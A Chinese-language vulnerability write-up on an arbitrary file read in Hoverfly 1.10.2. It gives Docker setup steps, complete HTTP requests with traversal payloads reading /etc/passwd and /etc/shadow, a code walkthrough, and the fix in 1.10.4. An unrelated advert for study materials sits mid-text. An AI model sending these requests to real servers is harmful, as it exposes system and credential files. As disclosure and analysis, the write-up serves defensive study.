网站设计标题,如何修改网站后台登陆入口路劲,洛阳建设工程网站,小程序代码怎么获取漏洞简介
Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而#xff0c;这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管…漏洞简介
Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管代码禁止指定绝对路径但攻击者可以通过使用 ../ 段来逃离 hf.Cfg.ResponsesBodyFilesPath 基本路径从而访问任何任意文件。
环境搭建
我们还是利用 docker 来搭建环境
https://hub.docker.com/r/spectolabs/hoverfly/tags docker pull spectolabs/hoverfly:v1.10.2
docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2
漏洞复现
构造数据包
POST /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
{data:{pairs:[{
request:{},response: {
bodyFile: ../../../../../etc/passwd}} ]},meta:{schemaVersion:v5.2}} PUT /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
{data:{pairs:[{
request:{},response: {
bodyFile: ../../../../../etc/shadow}} ]},meta:{schemaVersion:v5.2}} 【----帮助网安学习以下所有学习资料免费领加vxdctintin备注 “博客园” 获取】 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC漏洞分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS
漏洞分析
hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#RegisterRoutes 定义了 SimulationHandler 的路由注册方法路由的每个 HTTP 方法如 GET、PUT、POST、DELETE 等都有一个对应的处理函数 (this.Get、this.Put、this.Post、this.Delete、this.Options、this.GetSchema)。这些函数处理实际的业务逻辑。 GET /api/v2/simulation: 处理获取模拟数据。 PUT /api/v2/simulation: 处理更新模拟数据。 POST /api/v2/simulation: 处理创建新的模拟数据。 DELETE /api/v2/simulation: 处理删除模拟数据。 OPTIONS /api/v2/simulation: 提供有关 /api/v2/simulation 端点允许的 HTTP 方法的信息。 GET /api/v2/simulation/schema: 获取模拟数据的 schema结构。 OPTIONS /api/v2/simulation/schema: 提供有关 /api/v2/simulation/schema 端点允许的 HTTP 方法的信息。 POST 和 PUT 方法 仅仅是函数的第三个参数有所不同所以两种请求方式都可以实现任意文件读取
hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#addSimulation 第三个参数的不同导致 PUT 方法在获取新的模型内容时首先删除前一个模拟内容可以重复读取不同文件内容。POST 仅仅只能读取一次文件内容无法更新。
hoverfly-1.10.2\core\hoverfly_service.go#PutSimulation hoverfly-1.10.2\core\hoverfly_service.go#putOrReplaceSimulation hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFiles hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFile 这里就是漏洞产生的关键原因对传入的参数 filePath 没有做具体的校验可以通过 ../ 实现跨越目录的读取文件
我们看到最新版已经对传入的参数进行了处理
hoverfly-1.10.4\core\hoverfly_funcs.go#readResponseBodyFile hoverfly-1.10.4\core\util\util.go#ResolveAndValidatePath 这个 ResolveAndValidatePath 函数用于从一个绝对路径absBasePath解析一个相对路径relativePath并验证这个相对路径是否合法。具体来说它确保了相对路径不会尝试向上回溯使用 ..并且解析后的路径仍然在基路径之下。